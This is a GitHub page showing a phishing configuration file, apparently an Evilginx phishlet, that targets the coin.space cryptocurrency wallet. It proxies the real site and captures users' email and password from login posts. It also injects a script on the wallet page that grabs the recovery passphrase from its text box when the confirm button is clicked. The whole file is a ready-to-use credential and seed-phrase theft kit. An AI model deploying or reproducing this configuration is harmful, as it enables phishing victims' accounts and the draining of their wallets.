-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathCoin.space.yaml
37 lines (34 loc) · 1.16 KB
/
Coin.space.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
author: '@Evi1Grey5'
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: '', orig_sub: '', domain: 'coin.space', session: false, is_landing: true, auto_filter: true}
auth_tokens:
- domain: '.coin.space'
keys: ['textareaValue']
credentials:
username:
key: 'email'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
login:
domain: 'coin.space'
path: '/wallet/'
js_inject:
- trigger_domains: ["coin.space"]
trigger_paths: ["/wallet/"]
script: |
function checkButton() {
const button = document.querySelector("#app > div > div > div > div > div.auth-step-layout__content > div.cs-button-group.cs-passphrase__buttons > button.cs-button.cs-button--primary");
if (button) {
clearInterval(intervalId);
button.addEventListener("click", () => {
const textareaValue = document.querySelector("#app > div > div > div > div > div.auth-step-layout__content > div.cs-passphrase__container > div > div > label > div.cs-form-element__wrapper > div > textarea").value;
console.log(textareaValue);
});
}
}
const intervalId = setInterval(checkButton, 500);